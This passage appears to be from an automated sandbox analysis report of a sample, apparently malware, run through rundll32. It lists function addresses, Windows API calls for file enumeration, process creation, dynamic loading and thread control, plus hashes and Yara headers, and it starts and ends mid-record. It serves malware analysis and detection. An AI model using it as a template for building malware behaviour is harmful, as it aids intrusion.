                            • Part of subcall function 04CCBAD1: lstrlenW.KERNEL32(?,?,00000000), ref: 04CCBB29
                            • Part of subcall function 04CCBAD1: memset.NTDLL ref: 04CCBB71
                            • Part of subcall function 04CCBAD1: FindFirstFileW.KERNEL32(00000000,00000000), ref: 04CCBB8C
                            • Part of subcall function 04CCBAD1: lstrlenW.KERNEL32(0000002C), ref: 04CCBBC4
                            • Part of subcall function 04CCBAD1: lstrlenW.KERNEL32(?), ref: 04CCBBCC
                            • Part of subcall function 04CCBAD1: memset.NTDLL ref: 04CCBBEF
                            • Part of subcall function 04CCBAD1: wcscpy.NTDLL ref: 04CCBC01
                            • Part of subcall function 04CCBAD1: PathFindFileNameW.SHLWAPI(0000001C,?,?,?,?,00000000), ref: 04CCBC27
                            • Part of subcall function 04CCBAD1: RtlEnterCriticalSection.NTDLL(?), ref: 04CCBC5D
                            • Part of subcall function 04CCBAD1: RtlLeaveCriticalSection.NTDLL(?), ref: 04CCBC79
                            • Part of subcall function 04CCBAD1: FindNextFileW.KERNEL32(?,00000000), ref: 04CCBC92
                            • Part of subcall function 04CCBAD1: WaitForSingleObject.KERNEL32(00000000), ref: 04CCBCA4
                            • Part of subcall function 04CCBAD1: FindClose.KERNEL32(?), ref: 04CCBCB9
                            • Part of subcall function 04CCBAD1: FindFirstFileW.KERNEL32(00000000,00000000), ref: 04CCBCCD
                            • Part of subcall function 04CCBAD1: lstrlenW.KERNEL32(0000002C), ref: 04CCBCEF
                          • RtlAllocateHeap.NTDLL(00000000,00000036,?), ref: 04CC1206
                          • memcpy.NTDLL(00000000,?,00000000), ref: 04CC1219
                          • lstrcpyW.KERNEL32(00000000,?), ref: 04CC1230
                            • Part of subcall function 04CCBAD1: FindNextFileW.KERNEL32(?,00000000), ref: 04CCBD65
                            • Part of subcall function 04CCBAD1: WaitForSingleObject.KERNEL32(00000000), ref: 04CCBD77
                            • Part of subcall function 04CCBAD1: FindClose.KERNEL32(?), ref: 04CCBD92
                          • HeapFree.KERNEL32(00000000,00000000,00000000,?,?,00000000,00000000,00000010), ref: 04CC125B
                          • RtlAllocateHeap.NTDLL(00000000,0000020C), ref: 04CC1273
                          • HeapFree.KERNEL32(00000000,00000000), ref: 04CC12CD
                          • lstrlenW.KERNEL32(00000000,?), ref: 04CC12F0
                          • RtlAllocateHeap.NTDLL(00000000,?), ref: 04CC1302
                          • HeapFree.KERNEL32(00000000,00000000,00000000,?,?,00000000,00000000,00000014), ref: 04CC1376
                          • HeapFree.KERNEL32(00000000,?), ref: 04CC1386
                            • Part of subcall function 04CBAE7C: lstrlen.KERNEL32(04CBE448,00000000,00000000,?,?,04CC7A5B,?,?,?,?,04CBE448,?), ref: 04CBAE8B
                            • Part of subcall function 04CBAE7C: mbstowcs.NTDLL ref: 04CBAEA7
                          • CreateDirectoryW.KERNEL32(00000000,00000000,?), ref: 04CC13AF
                          • lstrlenW.KERNEL32(04CDB878,?), ref: 04CC1429
                          • DeleteFileW.KERNEL32(?,?), ref: 04CC1457
                          • HeapFree.KERNEL32(00000000,?), ref: 04CC1465
                          • HeapFree.KERNEL32(00000000,?), ref: 04CC1486
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Heaplstrlen$Find$FileFree$Allocate$CloseCriticalFirstNextObjectSectionSingleWaitmemset$CreateDeleteDirectoryEnterLeaveNamePathlstrcpymbstowcsmemcpywcscpy
                          • String ID:
                          • API String ID: 72361108-0
                          • Opcode ID: 5f3535d28742a8a86cff3c2c7fe9858b28db61f5173804316682a0b5d70147af
                          • Instruction ID: f4413ac095310b93f6edbca0609d75cba6e2fe4b825654e0b496dd57c7d4a80c
                          • Opcode Fuzzy Hash: 5f3535d28742a8a86cff3c2c7fe9858b28db61f5173804316682a0b5d70147af
                          • Instruction Fuzzy Hash: 92914DB9501219FFDB10DFA1EC88DEA7BBDEB09344B094429F609C7151E639BE44DBA0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC7F79 Relevance: 24.1, APIs: 16, Instructions: 131memoryregistrythreadCOMMON
                          Download Yara Rule
                          APIs
                          • RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 04CC7F9B
                          • RtlEnterCriticalSection.NTDLL(00000000), ref: 04CC7FB8
                          • CloseHandle.KERNEL32(?,?,?,?,00000000), ref: 04CC8008
                          • DeleteFileW.KERNEL32(00000000,?,?,?,00000000), ref: 04CC8012
                          • GetLastError.KERNEL32 ref: 04CC801C
                          • HeapFree.KERNEL32(00000000,00000000), ref: 04CC802D
                          • HeapFree.KERNEL32(00000000,?,?,?,?,00000000), ref: 04CC804F
                          • HeapFree.KERNEL32(00000000,?), ref: 04CC8086
                          • RtlLeaveCriticalSection.NTDLL(00000000), ref: 04CC809A
                          • RegCloseKey.ADVAPI32(?,?,?,00000000), ref: 04CC80A3
                          • SuspendThread.KERNEL32(?), ref: 04CC80B2
                          • CreateEventA.KERNEL32(04CDA1E8,00000001,00000000), ref: 04CC80C6
                          • SetEvent.KERNEL32(00000000), ref: 04CC80D3
                          • CloseHandle.KERNEL32(00000000), ref: 04CC80DA
                          • Sleep.KERNEL32(000001F4), ref: 04CC80ED
                          • ResumeThread.KERNEL32(?), ref: 04CC8111
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: CloseFreeHeap$CriticalEventHandleSectionThread$CreateDeleteEnterErrorFileLastLeaveOpenResumeSleepSuspend
                          • String ID:
                          • API String ID: 1011176505-0
                          • Opcode ID: ca4e5a8846a6e1ebacc97e120fdc1c16f02730e20c58f8e0514347c2fcc4d22d
                          • Instruction ID: cc4bcb9be0537a1358b62ed5ee4a2e735a220ebf7172e98aaa97f24557afea77
                          • Opcode Fuzzy Hash: ca4e5a8846a6e1ebacc97e120fdc1c16f02730e20c58f8e0514347c2fcc4d22d
                          • Instruction Fuzzy Hash: 9C41217A901119FFDB10AFA4DCC8AAE7BBAFB04345B14446DF602E2110D7397E85DBA0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CB5437 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 149stringCOMMON
                          Download Yara Rule
                          APIs
                            • Part of subcall function 04CB9394: RtlAllocateHeap.NTDLL(00000000,?,04CC0051), ref: 04CB93A0
                          • memset.NTDLL ref: 04CB5465
                          • StrChrA.SHLWAPI(?,0000000D), ref: 04CB54AB
                          • StrChrA.SHLWAPI(?,0000000A), ref: 04CB54B8
                          • StrChrA.SHLWAPI(?,0000007C), ref: 04CB54DF
                          • StrTrimA.SHLWAPI(?,04CD5FCC), ref: 04CB54F4
                          • StrChrA.SHLWAPI(?,0000003D), ref: 04CB54FD
                          • StrTrimA.SHLWAPI(00000001,04CD5FCC), ref: 04CB5513
                          • _strupr.NTDLL ref: 04CB551A
                          • StrTrimA.SHLWAPI(?,?), ref: 04CB5527
                          • memcpy.NTDLL(00000000,00000000,-00000008,-00000020,00000000,-00000020), ref: 04CB556F
                          • lstrlen.KERNEL32(?,00000000,?,?,?,00000000,?,00000000,?), ref: 04CB558E
                          Strings
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Trim$AllocateHeap_struprlstrlenmemcpymemset
                          • String ID: $;
                          • API String ID: 4019332941-73438061
                          • Opcode ID: f6fa88ef3bb74d9cc054f135970072fbde35cb0b97a38f1de9eee6a9e8849dd2
                          • Instruction ID: 1ee734b5d89e872ec212bfd12fdbb8a35e36a902908bb0308c476eb0fc6763d1
                          • Opcode Fuzzy Hash: f6fa88ef3bb74d9cc054f135970072fbde35cb0b97a38f1de9eee6a9e8849dd2
                          • Instruction Fuzzy Hash: 4441C2B1504346AFD711EF68CC44B5BBBEAEF44309F044819F5C99B241DB74FA098BA2
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC2DBB Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 136timeCOMMON
                          Download Yara Rule
                          APIs
                          • wsprintfA.USER32 ref: 04CC2DF8
                          • OpenWaitableTimerA.KERNEL32(00100000,00000000,00000000), ref: 04CC2E0C
                          • CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,00000000,?), ref: 04CC2F37
                            • Part of subcall function 04CB9394: RtlAllocateHeap.NTDLL(00000000,?,04CC0051), ref: 04CB93A0
                          • memset.NTDLL ref: 04CC2E38
                          • GetLastError.KERNEL32(?,?,00000040,?,?,?,?,?,?,00000000,?), ref: 04CC2E70
                          Strings
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: AllocateCloseErrorHandleHeapLastOpenTimerWaitablememsetwsprintf
                          • String ID: 0x%08X$W
                          • API String ID: 95801598-2600449260
                          • Opcode ID: 047ace73933aa5f8bb4ba159b2f1e561781c055aa6886f4a5b7e5a8af237c496
                          • Instruction ID: 6db50adbf2d329e54c10131675423fb5078951d6f036c5f9133c306c1a6ce255
                          • Opcode Fuzzy Hash: 047ace73933aa5f8bb4ba159b2f1e561781c055aa6886f4a5b7e5a8af237c496
                          • Instruction Fuzzy Hash: 03517CB4900209BFDB21DF65C845BAABBE9FF08715F108119F959E6280D7B4E644CBA4
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CCC01F Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 121processstringCOMMON
                          Download Yara Rule
                          APIs
                          • memset.NTDLL ref: 04CCC034
                            • Part of subcall function 04CBAE7C: lstrlen.KERNEL32(04CBE448,00000000,00000000,?,?,04CC7A5B,?,?,?,?,04CBE448,?), ref: 04CBAE8B
                            • Part of subcall function 04CBAE7C: mbstowcs.NTDLL ref: 04CBAEA7
                          • lstrlenW.KERNEL32(00000000,00000000,00000000,774CDBB0,00000020,00000000), ref: 04CCC06D
                          • wcstombs.NTDLL ref: 04CCC077
                          • CreateProcessA.KERNEL32(00000000,00000000,00000000,00000000,00000000,0C000000,00000000,00000000,00000044,?,00000000,774CDBB0,00000020,00000000), ref: 04CCC0A8
                          • WaitForMultipleObjects.KERNEL32(00000002,?,00000000,04CBA645), ref: 04CCC0D4
                          • TerminateProcess.KERNEL32(?,000003E5), ref: 04CCC0EA
                          • WaitForMultipleObjects.KERNEL32(00000002,?,00000000,04CBA645), ref: 04CCC0FE
                          • GetLastError.KERNEL32 ref: 04CCC102
                          • GetExitCodeProcess.KERNEL32(?,00000001), ref: 04CCC122
                          • CloseHandle.KERNEL32(?), ref: 04CCC131
                          • CloseHandle.KERNEL32(?), ref: 04CCC136
                          • GetLastError.KERNEL32 ref: 04CCC13A
                          Strings
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Process$CloseErrorHandleLastMultipleObjectsWaitlstrlen$CodeCreateExitTerminatembstowcsmemsetwcstombs
                          • String ID: D
                          • API String ID: 2463014471-2746444292
                          • Opcode ID: f56fd610a0cdf9087329060ce679d24f68c97cc74bc4ed2fa3d24681b1dd48d8
                          • Instruction ID: 0bd85fa58752044d0d2fa131eac6d2865e6d53952f3e7333d95b13d8a65b05cc
                          • Opcode Fuzzy Hash: f56fd610a0cdf9087329060ce679d24f68c97cc74bc4ed2fa3d24681b1dd48d8
                          • Instruction Fuzzy Hash: F7412C79D01118FFEB11DFA5CD85AEEBBBDEB08344F204069E605B6100E7756F059B60
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CB44A6 Relevance: 21.4, APIs: 14, Instructions: 391memorythreadCOMMON
                          Download Yara Rule
                          APIs
                          • VirtualAlloc.KERNEL32(00000000,00008000,00003000,00000004), ref: 04CB4526
                          • VirtualAlloc.KERNEL32(00000000,00008000,00003000,00000004), ref: 04CB4545
                          • GetLastError.KERNEL32 ref: 04CB46F6
                          • GetLastError.KERNEL32 ref: 04CB4778
                          • SwitchToThread.KERNEL32(?,?,?,?), ref: 04CB47C1
                          • GetLastError.KERNEL32 ref: 04CB4813
                          • GetLastError.KERNEL32 ref: 04CB4822
                          • RtlEnterCriticalSection.NTDLL(?), ref: 04CB4832
                          • RtlLeaveCriticalSection.NTDLL(?), ref: 04CB4843
                          • RtlExitUserThread.NTDLL(?), ref: 04CB4851
                          • RtlAllocateHeap.NTDLL(00000000,?), ref: 04CB48C0
                          • RtlAllocateHeap.NTDLL(00000000,00000000), ref: 04CB4911
                          • HeapFree.KERNEL32(00000000,00000000,?,00000000,?,00000101,?,00000000,?,?,?,00000000,?,00000001), ref: 04CB4946
                          • HeapFree.KERNEL32(00000000,?,?,00000000,?,00000001), ref: 04CB4956
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: ErrorHeapLast$AllocAllocateCriticalFreeSectionThreadVirtual$EnterExitLeaveSwitchUser
                          • String ID:
                          • API String ID: 2794784202-0
                          • Opcode ID: 5b9160399e35c1fd2a116a85deb9808bcb8299429d020de0f98d9651cf62fb88
                          • Instruction ID: 877f39e754278369568c2d6dcbabb3b88e74ef869d14dfaea840996e9426b71f
                          • Opcode Fuzzy Hash: 5b9160399e35c1fd2a116a85deb9808bcb8299429d020de0f98d9651cf62fb88
                          • Instruction Fuzzy Hash: 7BE17CB5500249EFEB249F61CC88EEA7BBAFF08304F104529F999D2161E735AE54CF94
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CBBFF0 Relevance: 21.2, APIs: 14, Instructions: 205memorystringthreadCOMMON
                          Download Yara Rule
                          APIs
                          • StrChrA.SHLWAPI(?,0000002C,00000000,?,00000000,04CC85F1,?,00000000,0000001E,00000001,00000057,?,?,00000000,00000001,00000000), ref: 04CBC03F
                          • StrTrimA.SHLWAPI(00000001,?,?,00000000,04CC85F1,?,00000000,0000001E,00000001,00000057,?,?,00000000,00000001,00000000,?), ref: 04CBC058
                          • StrChrA.SHLWAPI(?,0000002C,00000000,?,00000000,04CC85F1,?,00000000,0000001E,00000001,00000057,?,?,00000000,00000001,00000000), ref: 04CBC063
                          • StrTrimA.SHLWAPI(00000001,?,?,00000000,04CC85F1,?,00000000,0000001E,00000001,00000057,?,?,00000000,00000001,00000000,?), ref: 04CBC07C
                          • lstrlen.KERNEL32(00000000,?,00000001,?,?,00000000,?,00000000,04CC85F1,?,00000000,0000001E,00000001,00000057,?,?), ref: 04CBC11F
                          • RtlAllocateHeap.NTDLL(00000000,?,?), ref: 04CBC141
                          • lstrcpy.KERNEL32(00000020,?), ref: 04CBC160
                          • lstrlen.KERNEL32(?,?,00000000,04CC85F1,?,00000000,0000001E,00000001,00000057,?,?,00000000,00000001,00000000,?,00000000), ref: 04CBC16A
                          • memcpy.NTDLL(?,?,?,?,00000000,04CC85F1,?,00000000,0000001E,00000001,00000057,?,?,00000000,00000001,00000000), ref: 04CBC1AB
                          • memcpy.NTDLL(?,?,?,?,?,00000000,04CC85F1,?,00000000,0000001E,00000001,00000057,?,?,00000000,00000001), ref: 04CBC1BE
                          • SwitchToThread.KERNEL32(00000057,00000000,?,0000001E,?,?,?,?,?,00000000,04CC85F1,?,00000000,0000001E,00000001,00000057), ref: 04CBC1E2
                          • HeapFree.KERNEL32(00000000,00000000,00000000,00000000,?,0000001E,?,?,?,?,?,00000000,04CC85F1,?,00000000,0000001E), ref: 04CBC201
                          • HeapFree.KERNEL32(00000000,?,?,00000001,?,?,00000000,?,00000000,04CC85F1,?,00000000,0000001E,00000001,00000057,?), ref: 04CBC227
                          • HeapFree.KERNEL32(00000000,00000001,?,00000001,?,?,00000000,?,00000000,04CC85F1,?,00000000,0000001E,00000001,00000057,?), ref: 04CBC243
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Heap$Free$Trimlstrlenmemcpy$AllocateSwitchThreadlstrcpy
                          • String ID:
                          • API String ID: 3323474148-0
                          • Opcode ID: 272ca341ddedc150fe11428f85302f7dc8ce1eea9b2d33df7bc4f296315dcc2d
                          • Instruction ID: d7bddfae9b8fe9f9a6880cfe12a646482cc31f5039bc47d9a2fc50ab8e117b6d
                          • Opcode Fuzzy Hash: 272ca341ddedc150fe11428f85302f7dc8ce1eea9b2d33df7bc4f296315dcc2d
                          • Instruction Fuzzy Hash: FA716975504301AFD721DF64D844B9ABBEAFB48304F04492EF6DAE3250D735EA45CB92
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC05BC Relevance: 21.2, APIs: 14, Instructions: 161memorystringfileCOMMON
                          Download Yara Rule
                          APIs
                          • lstrlen.KERNEL32(?,?,00000000), ref: 04CC05D3
                          • lstrlen.KERNEL32(?,?,00000000), ref: 04CC05DA
                          • RtlAllocateHeap.NTDLL(00000000,?), ref: 04CC05F1
                          • lstrcpy.KERNEL32(00000000,?), ref: 04CC0602
                          • lstrcat.KERNEL32(?,?), ref: 04CC061E
                          • lstrcat.KERNEL32(?,?), ref: 04CC062F
                          • RtlAllocateHeap.NTDLL(00000000,?), ref: 04CC0640
                          • RtlAllocateHeap.NTDLL(00000000,?), ref: 04CC06DD
                          • CreateFileA.KERNEL32(?,C0000000,00000000,00000000,00000004,00000080,00000000,?,00000000), ref: 04CC0716
                          • WriteFile.KERNEL32(00000000,?,?,00000000,00000000,?,00000000), ref: 04CC072F
                          • CloseHandle.KERNEL32(00000000,?,00000000), ref: 04CC0739
                          • HeapFree.KERNEL32(00000000,?,?,00000000), ref: 04CC0749
                          • HeapFree.KERNEL32(00000000,00000000,?,00000000), ref: 04CC0762
                          • HeapFree.KERNEL32(00000000,?,?,00000000), ref: 04CC0772
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Heap$AllocateFree$Filelstrcatlstrlen$CloseCreateHandleWritelstrcpy
                          • String ID:
                          • API String ID: 333890978-0
                          • Opcode ID: 1617797ef612d47ff7801bc1a549da4f408a153be0b031819a086b4aabf63388
                          • Instruction ID: 8386a6523291dc8eefcdc1ce87e4a1e0c389b6b9ca3879a240234ef7901778e7
                          • Opcode Fuzzy Hash: 1617797ef612d47ff7801bc1a549da4f408a153be0b031819a086b4aabf63388
                          • Instruction Fuzzy Hash: 5F518C7A401118FFDB01AFA4DC84EAE7BBDEF48340B05842AFA0597110D739AE45DF60
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CCAFC2 Relevance: 21.1, APIs: 14, Instructions: 109libraryloaderstringCOMMON
                          Download Yara Rule
                          APIs
                          • lstrlenW.KERNEL32(?,00000000,?,?,?,04CB663D,?,?), ref: 04CCAFCF
                            • Part of subcall function 04CB9394: RtlAllocateHeap.NTDLL(00000000,?,04CC0051), ref: 04CB93A0
                          • GetCurrentDirectoryW.KERNEL32(00007FFF,00000000,00010012,?,?,?,04CB663D,?,?), ref: 04CCAFF8
                          • lstrcpyW.KERNEL32(-0000FFFE,?), ref: 04CCB018
                          • lstrcpyW.KERNEL32(-00000002,?), ref: 04CCB034
                          • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,04CB663D,?,?), ref: 04CCB040
                          • LoadLibraryW.KERNEL32(-0000FFFE,?,?,?,?,04CB663D,?,?), ref: 04CCB043
                          • SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,04CB663D,?,?), ref: 04CCB04F
                          • GetProcAddress.KERNEL32(00000000,?), ref: 04CCB06C
                          • GetProcAddress.KERNEL32(00000000,?), ref: 04CCB086
                          • GetProcAddress.KERNEL32(00000000,?), ref: 04CCB09C
                          • GetProcAddress.KERNEL32(00000000,?), ref: 04CCB0B2
                          • GetProcAddress.KERNEL32(00000000,?), ref: 04CCB0C8
                          • GetProcAddress.KERNEL32(00000000,?), ref: 04CCB0DE
                          • FreeLibrary.KERNEL32(00000000,?,?,?,?,04CB663D,?,?), ref: 04CCB107
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: AddressProc$CurrentDirectory$Librarylstrcpy$AllocateFreeHeapLoadlstrlen
                          • String ID:
                          • API String ID: 3772355505-0
                          • Opcode ID: d6220c54b36ecfc78c6d0197e953d18e8a20ee9aa75d0fd317099f3d6f5d7f2c
                          • Instruction ID: ab0e541fab73b72677f11d7ff4821dd90211d77b9f87acd4cdf47d22e6b87ca9
                          • Opcode Fuzzy Hash: d6220c54b36ecfc78c6d0197e953d18e8a20ee9aa75d0fd317099f3d6f5d7f2c
                          • Instruction Fuzzy Hash: 7B314CB950520ABFD710DF64EC85EA6BBECEF08344B04852AE504C7251EB79FD05DBA0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CBD016 Relevance: 21.1, APIs: 14, Instructions: 82stringmemoryfileCOMMON
                          Download Yara Rule
                          APIs
                          • lstrlenW.KERNEL32(?,?,00000000,?,?,?,04CC1453,?,?,?), ref: 04CBD02D
                          • lstrlenW.KERNEL32(?,?,?,00000000,?,?,?,04CC1453,?,?,?), ref: 04CBD038
                          • lstrlenW.KERNEL32(?,?,?,00000000,?,?,?,04CC1453,?,?,?), ref: 04CBD040
                          • RtlAllocateHeap.NTDLL(00000000,?), ref: 04CBD055
                          • lstrcpyW.KERNEL32(00000000,?), ref: 04CBD066
                          • lstrcatW.KERNEL32(00000000,?), ref: 04CBD078
                          • CreateDirectoryW.KERNEL32(00000000,00000000,?,?,00000000,?,?,?,04CC1453,?,?,?), ref: 04CBD07D
                          • lstrcatW.KERNEL32(00000000,04CD53E0), ref: 04CBD089
                          • lstrcatW.KERNEL32(00000000), ref: 04CBD092
                          • CreateDirectoryW.KERNEL32(00000000,00000000,?,?,0000005C,?,?,00000000,?,?,?,04CC1453,?,?,?), ref: 04CBD097
                          • lstrcatW.KERNEL32(00000000,04CD53E0), ref: 04CBD0A3
                          • lstrcatW.KERNEL32(00000000,00000002), ref: 04CBD0BF
                          • CopyFileW.KERNEL32(?,00000000,00000000,?,?,0000005C,?,?,00000000,?,?,?,04CC1453,?,?,?), ref: 04CBD0C7
                          • HeapFree.KERNEL32(00000000,00000000,?,?,0000005C,?,?,00000000,?,?,?,04CC1453,?,?,?), ref: 04CBD0D5
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: lstrcat$lstrlen$CreateDirectoryHeap$AllocateCopyFileFreelstrcpy
                          • String ID:
                          • API String ID: 3635185113-0
                          • Opcode ID: 6d991ab3e720187b9547f32880d7588d73db02d61fcfa250b51c1069161f672c
                          • Instruction ID: 008078a553ef5ac222d5b6e383e3219d6c26c1999f0f2c9458d542ef3cf2a2c5
                          • Opcode Fuzzy Hash: 6d991ab3e720187b9547f32880d7588d73db02d61fcfa250b51c1069161f672c
                          • Instruction Fuzzy Hash: 0D21F636202215BFD3216F24EC84F7FBBBDEF85B45F00051EF54682110CB69AC069BA5
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CCE19A Relevance: 18.2, APIs: 12, Instructions: 196memorystringthreadCOMMON
                          Download Yara Rule
                          APIs
                            • Part of subcall function 04CB7A61: RtlAllocateHeap.NTDLL(00000000,00000105,00000000), ref: 04CB7AA6
                            • Part of subcall function 04CB7A61: RtlAllocateHeap.NTDLL(00000000,00000105), ref: 04CB7ABE
                            • Part of subcall function 04CB7A61: WaitForSingleObject.KERNEL32(00000000,?,04CC87CC,?,?), ref: 04CB7B86
                            • Part of subcall function 04CB7A61: HeapFree.KERNEL32(00000000,?,?,04CC87CC,?,?), ref: 04CB7BAF
                            • Part of subcall function 04CB7A61: HeapFree.KERNEL32(00000000,?,?,04CC87CC,?,?), ref: 04CB7BBF
                            • Part of subcall function 04CB7A61: RegCloseKey.ADVAPI32(?,?,04CC87CC,?,?), ref: 04CB7BC8
                          • lstrcmp.KERNEL32(?,00000000), ref: 04CCE211
                          • HeapFree.KERNEL32(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,04CB399C,00000000,00000000), ref: 04CCE23D
                          • GetCurrentThreadId.KERNEL32 ref: 04CCE2EE
                          • GetCurrentThread.KERNEL32 ref: 04CCE2FF
                          • HeapFree.KERNEL32(00000000,00000000,?,?,00000000,?,Function_00001B71,04CB399C,00000001,7620F730,00000000,00000000), ref: 04CCE33C
                          • HeapFree.KERNEL32(00000000,?,?,?,00000000,?,Function_00001B71,04CB399C,00000001,7620F730,00000000,00000000), ref: 04CCE350
                          • RtlAllocateHeap.NTDLL(00000000,00000400,?), ref: 04CCE35E
                          • wsprintfA.USER32 ref: 04CCE376
                            • Part of subcall function 04CB3263: lstrlen.KERNEL32(?,00000000,04CD3716,00000000,04CC2466,?,?,?,04CC8A07,?,?,?,00000000,00000001,00000000,?), ref: 04CB326D
                            • Part of subcall function 04CB3263: lstrcpy.KERNEL32(00000000,?), ref: 04CB3291
                            • Part of subcall function 04CB3263: StrRChrA.SHLWAPI(?,00000000,0000002E,?,00000003,?,?,04CC8A07,?,?,?,00000000,00000001,00000000,?,00000000), ref: 04CB3298
                            • Part of subcall function 04CB3263: lstrcat.KERNEL32(00000000,?), ref: 04CB32EF
                          • lstrlen.KERNEL32(00000000,00000000), ref: 04CCE381
                          • HeapFree.KERNEL32(00000000,00000000,0000001C,00000000,00000000), ref: 04CCE398
                          • HeapFree.KERNEL32(00000000,00000000), ref: 04CCE3A9
                          • HeapFree.KERNEL32(00000000,?), ref: 04CCE3B5
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Heap$Free$Allocate$CurrentThreadlstrlen$CloseObjectSingleWaitlstrcatlstrcmplstrcpywsprintf
                          • String ID:
                          • API String ID: 773763258-0
                          • Opcode ID: 559e88ad779246dd5fbbddd1aed217135c534f763e9fcd3dead8e188c8c1a39b
                          • Instruction ID: dae04c10dbf8722bbb627b738cb863d92d85724397035903be4aca93bfb39008
                          • Opcode Fuzzy Hash: 559e88ad779246dd5fbbddd1aed217135c534f763e9fcd3dead8e188c8c1a39b
                          • Instruction Fuzzy Hash: 5871F579901219FFDB11DFA5D884EEEBBBAFF09310F048059E605A7220D735BA45EB90
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CB51FF Relevance: 18.2, APIs: 12, Instructions: 186synchronizationstringthreadCOMMON
                          Download Yara Rule
                          APIs
                          • WaitForSingleObject.KERNEL32(?,000000FF), ref: 04CB5226
                          • memcpy.NTDLL(?,?,00000010), ref: 04CB5249
                          • memset.NTDLL ref: 04CB5295
                          • lstrcpyn.KERNEL32(?,?,00000034), ref: 04CB52A9
                          • GetLastError.KERNEL32 ref: 04CB52D7
                          • GetLastError.KERNEL32 ref: 04CB531E
                          • GetLastError.KERNEL32 ref: 04CB533D
                          • WaitForSingleObject.KERNEL32(?,000927C0), ref: 04CB5377
                          • WaitForSingleObject.KERNEL32(?,00000000), ref: 04CB5385
                          • GetLastError.KERNEL32 ref: 04CB5408
                          • ReleaseMutex.KERNEL32(?), ref: 04CB541A
                          • RtlExitUserThread.NTDLL(?), ref: 04CB5430
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: ErrorLast$ObjectSingleWait$ExitMutexReleaseThreadUserlstrcpynmemcpymemset
                          • String ID:
                          • API String ID: 4037736292-0
                          • Opcode ID: 1499150b6b4dc57d15c8c12423f86249b4168176ae5aa0fd603d73552d6355de
                          • Instruction ID: c1e46a0aa648db33db64fa5a14df98f552127790a0d3ad2964bd0dc95ad9ae16
